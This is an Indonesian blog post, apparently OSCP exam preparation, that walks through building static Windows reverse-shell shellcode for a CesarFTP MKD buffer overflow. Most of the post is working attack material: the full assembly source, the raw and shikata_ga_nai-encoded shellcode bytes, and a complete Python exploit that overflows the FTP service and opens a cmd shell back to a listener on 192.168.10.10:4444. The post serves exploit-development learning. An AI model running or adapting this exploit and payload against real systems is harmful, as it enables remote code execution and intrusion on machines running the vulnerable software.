Static Reverse Shellcode

Beberapa bulan yang lalu saya pernah menulis pengalaman ketika melakukan analisis pada cesarftp yang merupakan salah satu challenge untuk sertifikasi OSCP. Pada artikel tersebut, saya menggunakan shellcode berupa bindshell yang dibuat oleh skypher. Shellcode tersebut merupakan implementasi dari paper yang dibuat oleh Dafydd Stuttard dari NGS Software.

Tehnik yang digunakan memang sangat baik untuk membuat shellcode windows berukuran kecil, dan shellcode tersebut termasuk dalam kelas “advanced shellcode”. Implementasi shellcode bersifat dinamis, dalam arti bahwa shellcode akan mencari sendiri (resolve) lokasi-lokasi memory untuk fungsi-fungsi seperti CreateProcessA, WSAStartup, dsb. Fungsi-fungsi tersebut digunakan untuk menjalankan tugas bindshell.

Seperti yang telah kita ketahui bahwa shellcode ada beragam jenis, ada suatu ketika dimana bindshell tidak mungkin bisa digunakan karena ada pembatasan pada target seperti firewall sehingga tidak mungkin membuka koneksi selain port-port yang telah di tentukan (mis: port 21/tcp). Ketika bindshell tidak memungkinkan, maka reverse shell patut untuk dicoba. Seperti inilah mungkin salah satu challenge yang diberikan pada ujian OSCP, keterbatasan pada target sehingga bindshell tidak memungkinkan.

Pada tulisan sebelumnya sudah dibahas mengenai bug cesarftp, bagaimana cara men-trigger bug, serta bagaimana perhitungan untuk memasukan shellcode. Yang akan dibahas kali ini adalah jenis shellcode reverse shell.

Jika ada yang mengambil ujian OSCP mungkin akan menemukan masalah serupa, cesarftp sebagai target dan tidak bisa menggunakan bind shell. Pada OSCP akan diberikan satu mesin lab untuk di uji coba, dan satu server sebagai target yang apabila gagal maka target server tersebut harus di restart. Ini adalah salah satu bentuk unik dari aplikasi cesarftp untuk jenis bug yang beredar public, sejauh yang saya tau implementasi dari metasploit pun setelah menjalankan shellcode maka servis cesarftp pada target akan ‘down’ dan harus di restart.

Kata kuncinya adalah mesin untuk uji coba cesarftp pada lab sama persis dengan mesin yang menjadi target. Sama persis bukan berarti aturan-aturan main antar kedua mesin sama, karena bisa jadi bindshell di mesin lab akan berhasil sementara pada target tidak berhasil karena pada target server dibatasi oleh host-based firewall dimana koneksi dari luar tidak akan berhasil selain untuk port 21, dan inilah yang sepertinya terjadi pada salah satu rekan saya baru-baru ini. Persamaan dari mesin target dan mesin lab adalah jenis sistem operasi yang digunakan, patch level + service pack yang di install. Bagaimana hal ini akan berpengaruh?! tentu saja jika kita kembali pada ‘basic exploitation’ windows maka semua akan mengatakan hal yang sama, perbedaan service pack ataupun language-pack pada sistem operasi microsoft windows akan berpengaruh pada hal-hal seperti system call, dll, lokasi export-symbol, dsb. Itu sebabnya untuk membuat exploit yang reliable seseorang akan berusaha membuat shellcode bersifat dinamis dengan beragam metode, hal ini biasanya digunakan untuk menemukan lokasi Kernel32.dll (yang pasti di load oleh semua aplikasi microsoft windows), lokasi fungsi-fungsi seperti CreateProcessA, WSASocketA, dsb secara otomatis ketika shellcode dijalankan.

Shellcode-shellcode dinamis banyak kita temukan pada internet, dan resource paling umum adalah metasploit. Namun ada satu hal yang harus diperhatikan, implementasi ‘dynamic shellcode’ membutuhkan beragam fungsi seperti fungsi-fungsi untuk hashing, search function, load library, dsb. Dan tentunya ini akan menambah ukuran dari shellcode itu sendiri. Namun jika kita sudah tau persis targetnya seperti apa, maka dalam satu kali percobaan tentunya kita akan mendapatkan hasil yang sama apabila exploit tersebut sudah di uji coba sebelumnya pada mesin lain yang sama persis dengan target.

Situs projectshellcode memiliki resource yang sangat baik bagi pemula untuk belajar membuat shellcode, dan pada situs tersebut juga bisa kita temukan arwin.c yang merupakan implementasi sederhana untuk mencari lokasi memory suatu fungsi dari suatu DLL. Berikut ini contoh tampilannya,

C:\>arwin.exe Kernel32.dll CreateProcessA
arwin - win32 address resolution program - by steve hanna - v.01
CreateProcessA is located at 0x77e61bbc in Kernel32.dll

C:\>arwin.exe Kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in Kernel32.dll

C:\>arwin.exe ws2_32.dll WSASocketA
arwin - win32 address resolution program - by steve hanna - v.01
WSASocketA is located at 0x71ab5a01 in ws2_32.dll

C:\>arwin.exe ws2_32.dll connect
arwin - win32 address resolution program - by steve hanna - v.01
connect is located at 0x71ab3e5d in ws2_32.dll

C:\>arwin.exe ws2_32.dll WSAStartup
arwin - win32 address resolution program - by steve hanna - v.01
WSAStartup is located at 0x71ab41da in ws2_32.dll

Dynamic shellcode akan berusaha memecahkan lokasi-lokasi memory untuk fungsi-fungsi diatas dengan berbagai metode, namun jika kita sudah mengetahui lokasi dari fungsi-fungsi tersebut ketika di load oleh windows maka kita dapat membuat static shellcode dengan mendefinisikan lokasi-lokasi memory diatas pada shellcode. Hal ini akan membuat ukuran shellcode jauh lebih kecil.

Sejauh yang saya tau, contoh-contoh shellcode dari projectshellcode sangat mudah untuk di ikuti. Berikut ini salah satu contoh shellcode yang mengambil contoh dari bindshell projectshellcode.com dengan melakukan modifikasi manual untuk disesuaikan dimana lokasi memory sudah kita ketahui.

;static_connectback.asm
[SECTION .text]

BITS 32

global _start

_start:

jmp start_asm

; DEFINE FUNCTIONS
; Memory location of functions below is retrieved using arwin.exe

; LoadLibraryA: 0x77e7d961
; CreateProcessA: 0x77e61bbc
; ExitProcess: 0x77e798fd
; WSASocketA: 0x71ab5a01
; connect: 0x71ab3e5d
; WSAStartup: 0x71ab41da

start_asm: ; start our main program

; create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp ;ebx now points to "ws2_32"

push ecx
push edx
push ebx
mov eax, 0x77e7d961 ;put location of LoadLibraryA into eax

call eax ;call LoadLibraryA(ws2_32)

initialize_cmd: ;push the string "cmd" onto the stack
mov eax, 0x646d6301 ;64 = d, 6d = m, 63 = c, 01 = non-ascii char.
sar eax, 0x08 ;Shift Arithmetic Right will shift 646d6301 to be 00646d63 (Null cmd). The point here is to create string (cmd) with
;null at the end.
push eax
mov [ebp + 0x30], esp

WSAStartup: ;initialise networking

xor edx,edx ;make some stack space
xor eax, eax
mov eax, 0x71ab41da ;put location of WSAStartup into eax

mov dh, 0x03 ;sizeof(WSADATA) is 0x190
sub esp, edx

;initialize winsock
push esp ;use stack for WSADATA
push 0x02 ;wVersionRequested

call eax ;call WSAStartup

add esp, 0x0300 ;move esp over WSAData

;SECTION: start custom shellcode

create_socket:
xor eax, eax ;zero eax
push eax ;Push the dwFlags argument to WSASocket as 0.
push eax ;Push the g argument to WSASocket as 0.
push eax ;Push the lpProtocolInfo argument to WSASocket as NULL.
push eax ;Push the protocol argument to WSASocket as 0.
inc eax ;Increment eax to 1.
push eax ;Push the type argument to WSASocket as SOCK STREAM.
inc eax ;Increment eax to 2.
push eax ;Push the af argument to WSASocket as AF INET.
mov eax, 0x71ab5a01 ;WSASocketA
call eax ;Call WSASocket to allocate a socket for later use.
mov esi, eax ;Save the socket file descriptor in esi.

do_connect:
; 192.168.10.10
push 0x0A0AA8C0 ;Push the address of the remote machine to connect to in network-byte order. In this case 192.168.10.10 is used.
; 4444 (dec) = 115C (hex)
mov eax, 0x5c110102 ;Set the high order bytes of eax to the port to connect to in networkbyte order (4444).
; The low order bytes should be set to the family, in this case AF INET3.
dec ah ;Decrement the second byte of eax to get it to zero and have the family be correctly set to AF INET.
push eax ;Push the sin port and sin family attributes.
mov ebx, esp ;Set ebx to the pointer to the struct sockaddr in that has been initialized on the stack.
xor eax, eax ;Zero eax.
mov al, 0x10 ;Set the low order byte of eax to 16 to represent the size of the struct sockaddr in.
push eax ;Push the namelen argument which has been set to 16.
push ebx ;Push the name argument which has been set to the initialized struct sockaddr in on the stack.
push esi ;Push the s argument as the file descriptor that was previously returned from WSASocket.
mov eax, 0x71ab3e5d ; connect

call eax ;Call connect to establish a TCP connection to the remote machine on the specified port.

initialize_process:
xor ecx, ecx ;Zero ecx.
mov cl, 0x54 ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
sub esp, ecx ;Allocate stack space for the two structures.
mov edi, esp ;Set edi to point to the STARTUPINFO structure.
push edi ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
xor eax, eax ;Zero eax to for use with stosb to zero out the two structures.
rep stosb ;Repeat storing zero at the buffer starting at edi until ecx is zero.
pop edi ;Restore edi to its original value.
initialize_structs:
mov byte[edi], 0x44 ;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
inc byte[edi + 0x2d];Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes
;should be used.
push edi ;Preserve edi again as it will be modified by the stosd.
mov eax, esi ;Set eax to the client file descriptor that was returned by accept
lea edi, [edi + 0x38] ;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
stosd ;Set the hStdInput attribute to the file descriptor returned from accept.
stosd ;Set the hStdOutput attribute to the file descriptor returned from accept.
stosd ;Set the hStdError attribute to the file descriptor returned from accept.
pop edi ;Restore edi to its original value.

execute_process:
xor eax, eax ;Zero eax for use with passing zerod arguments.
lea esi, [edi + 0x44] ;Load the effective address of the PROCESS INFORMATION structure into esi.
push esi ;Push the pointer to the lpProcessInformation structure.
push edi ;Push the pointer to the lpStartupInfo structure.
push eax ;Push the lpStartupDirectory argument as NULL.
push eax ;Push the lpEnvironment argument as NULL
push eax ;Push the dwCreationFlags argument as 0.
inc eax ;Increment eax to 1.
push eax ;Push the bInheritHandles argument as TRUE due to the fact that the client
;needs to inherit the socket file descriptor.
dec eax ;Decrement eax back to zero.
push eax ;Push the lpThreadAttributes argument as NULL.
push eax ;Push the lpProcessAttributes argument as NULL.
push dword [ebp + 0x30] ;Push the lpCommandLine argument as the pointer to cmd.
push eax ;Push the lpApplicationName argument as NULL.
mov eax, 0x77e61bbc ;CreateProcessA
call eax ;Call CreateProcessA to created the child process that has its input and output
;redirected from and to the remote machine via the TCP connection.

exit_process:
mov eax, 0x77e798fd ;ExitProcess somehow is not needed as after the bug triggered, cesarftp will need to be restarted
call eax ;Call ExitProcess as the parent no longer needs to execute

Selanjutnya adalah membuat binary dari kode-kode assembly diatas,

$ nasm -f bin -o static_connectback.bin static_connectback.asm
$ file static_connectback.bin
static_connectback.bin: DOS executable (COM)

Dengan menggunakan script xxd-shellcode.sh yang juga bisa dilihat dari projectshellcode.com, kita bisa meng-extract bentuk shellcode yang diinginkan,

$ ./xxd-shellcode.sh static_connectback.bin
\xe9\x00\x00\x00\x00\x31\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x89\xe3\x51\x52\x53\xb8\x61\xd9\xe7\x77\xff\xd0\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x31\xd2\x31\xc0\xb8\xda\x41\xab\x71\xb6\x03\x29\xd4\x54\x68\x02\x00\x00\x00\xff\xd0\x81\xc4\x00\x03\x00\x00\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xb8\x01\x5a\xab\x71\xff\xd0\x89\xc6\x68\xc0\xa8\x0a\x0a\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x89\xe3\x31\xc0\xb0\x10\x50\x53\x56\xb8\x5d\x3e\xab\x71\xff\xd0\x31\xc9\xb1\x54\x29\xcc\x89\xe7\x57\x31\xc0\xf3\xaa\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x89\xf0\x8d\x7f\x38\xab\xab\xab\x5f\x31\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x30\x50\xb8\xbc\x1b\xe6\x77\xff\xd0\xb8\xfd\x98\xe7\x77\xff\xd0

Yang harus diperhatikan disini adalah 5 bytes awal dari shellcode diatas tidak dibutuhkan. Shellcode diatas dibuat menggunakan assembly biasa, dan di peruntukan agar bisa di eksekusi sebagai file binary sehingga ada beberapa byte yang merupakan tambahan dari assembler (dalam hal ini nasm). Hal ini sangat penting karena apabila kita memasukan shellcode diatas langsung untuk eksploitasi target maka akan terjadi mangled (byte-byte berubah) ketika dieksekusi oleh target. Hal lain yang harus diperhatikan adalah masih terdapat NULL pada shellcode diatas yang merupakan badchars dan juga beberapa karakter yang akan membuat cesarftp crash apabila menemukan karakter-karakter tersebut (lihat tulisan sebelumnya). Sehingga kita harus melakukan encoding pada shellcode diatas sebelum digunakan pada eksploit.

Sebelum di encode, maka kita harus memastikan binary shellcode sudah terbebas dari 5 bytes awal yang merupakan tambahan dari nasm. Untuk itu kita bisa menggunakan hex-editor. Berhubung saya menggunakan Mac OSX, maka 0xED yang akan digunakan sebagai hex-editor.

Setelah menghapus bytes-bytes awal tersebut, selanjutnya adalah melakukan encoding seperti biasa.

$ cat static_connectback.bin | ./msfencode -e x86/shikata_ga_nai -b "\x00\x20\x0a\x0d" -t c
[*] x86/shikata_ga_nai succeeded with size 201 (iteration=1)

unsigned char buf[] =
"\xb8\xb9\xf3\x98\x1c\xd9\xc7\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x2c\x31\x42\x14\x83\xc2\x04\x03\x42\x10\x5b\x06\xa9\xdc\xfd"
"\x51\xf9\xee\x51\xca\x89\x7d\x63\x55\xff\x61\xd2\x3b\xac\xdd"
"\xb5\x62\xb5\x69\xca\x45\x82\x97\x57\x0b\x97\x56\x6f\xdb\x07"
"\xd0\xea\xec\x96\x30\xc5\xcc\x61\x6e\x64\x66\xe0\x39\x65\x51"
"\xd7\x12\x01\xa3\xd7\x9a\xd1\x5c\x07\x1b\x15\xa2\xab\x1c\x95"
"\x92\x6b\x4c\xc5\x84\x3b\x2d\xb5\x64\xec\x15\x34\x3f\xa7\x17"
"\xc9\x6f\x3e\x11\x5d\x50\xe9\x94\x97\xe8\xe8\xa9\xb6\x54\x13"
"\x65\xe8\xed\x08\x47\xc8\x5e\xde\xf8\x9b\xc8\x67\xa5\x25\x5e"
"\xe6\xa9\x89\x91\xc0\xe7\x7d\xfb\x1e\x8e\x9a\xac\xaf\x51\x97"
"\xf9\x8f\x97\x50\xba\xd1\x5f\x73\x15\xa7\x90\x06\xe6\x8f\xfb"
"\xb3\xb2\xaf\xca\x03\x49\x38\x69\xd5\x05\x97\x21\x89\xe9\x47"
"\x8a\x79\xba\x98\x7f\x49\x6a\xdf\x3c\xb2\x6c\x68\xc2\x14\xc8"
"\x6a\xa4\x73\x5e\x6a\x05";

Static shellcode untuk reverse shell ini setelah di encode pun hanya memiliki ukuran 201 bytes, lebih kecil daripada implementasi shellcode dinamis. Shellcode static diatas bisa saja dibuat lebih kecil dan lebih efisien, tapi untuk saat ini shellcode sederhana diatas sudah dapat menjalankan fungsinya karena ukuran shellcode lebih kecil dari ukuran payload yang dapat diterima oleh cesarftp ( < 250 bytes).

Berikut ini bentuk akhir exploit dengan reverse shellcode,

from socket import *
import struct

host = "192.168.10.11"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)

eip = struct.pack('<i', 0x77E9AE59) # call esp from kernel32.dll
command = "MKD "
newline = "\n"
omg = "OMG"
break_code = "\xCC\xCC\xCC\xCC"
enter = "\r\n"
nop = "\x90"
junk = "A"

shellcode= (
# cat static_connectback.bin | ./msfencode -e x86/shikata_ga_nai -b "\x00\x20\x0a\x0d" -t c
# [*] x86/shikata_ga_nai succeeded with size 201 (iteration=1)

# connect back shellcode to 192.168.10.10 port 4444
"\xb8\xb9\xf3\x98\x1c\xd9\xc7\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x2c\x31\x42\x14\x83\xc2\x04\x03\x42\x10\x5b\x06\xa9\xdc\xfd"
"\x51\xf9\xee\x51\xca\x89\x7d\x63\x55\xff\x61\xd2\x3b\xac\xdd"
"\xb5\x62\xb5\x69\xca\x45\x82\x97\x57\x0b\x97\x56\x6f\xdb\x07"
"\xd0\xea\xec\x96\x30\xc5\xcc\x61\x6e\x64\x66\xe0\x39\x65\x51"
"\xd7\x12\x01\xa3\xd7\x9a\xd1\x5c\x07\x1b\x15\xa2\xab\x1c\x95"
"\x92\x6b\x4c\xc5\x84\x3b\x2d\xb5\x64\xec\x15\x34\x3f\xa7\x17"
"\xc9\x6f\x3e\x11\x5d\x50\xe9\x94\x97\xe8\xe8\xa9\xb6\x54\x13"
"\x65\xe8\xed\x08\x47\xc8\x5e\xde\xf8\x9b\xc8\x67\xa5\x25\x5e"
"\xe6\xa9\x89\x91\xc0\xe7\x7d\xfb\x1e\x8e\x9a\xac\xaf\x51\x97"
"\xf9\x8f\x97\x50\xba\xd1\x5f\x73\x15\xa7\x90\x06\xe6\x8f\xfb"
"\xb3\xb2\xaf\xca\x03\x49\x38\x69\xd5\x05\x97\x21\x89\xe9\x47"
"\x8a\x79\xba\x98\x7f\x49\x6a\xdf\x3c\xb2\x6c\x68\xc2\x14\xc8"
"\x6a\xa4\x73\x5e\x6a\x05")

buffer = command + (newline * 671) + omg + eip + (nop * 10) + shellcode + (junk * 100) + enter

print "Lenght of buffer: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)
s.close()

Dan jika kita sudah set nc untuk listen pada ip 192.168.10.10 dan port 4444, voila….we’ll got a shell.

Oh, jika ada yang mau ambil ujian OSCP dan kebetulan mendapatkan challenge yang sama maka informasi ini mungkin masih bisa digunakan. Namun jika mendapatkan challenge lain untuk eksploitasi karena pembahasan bug serta metode eksploitasinya sudah dilakukan disini dan tim offensive security memutuskan challange jenis lain (at least untuk calon yang dari indonesia šŸ˜‰ ), well, congratulation, itu berarti anda akan mendapatkan challenge lain yang lebih menarik untuk dieksplorasi dan dipelajari.

Good luck!

Advertisements

3 thoughts on “Static Reverse Shellcode

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s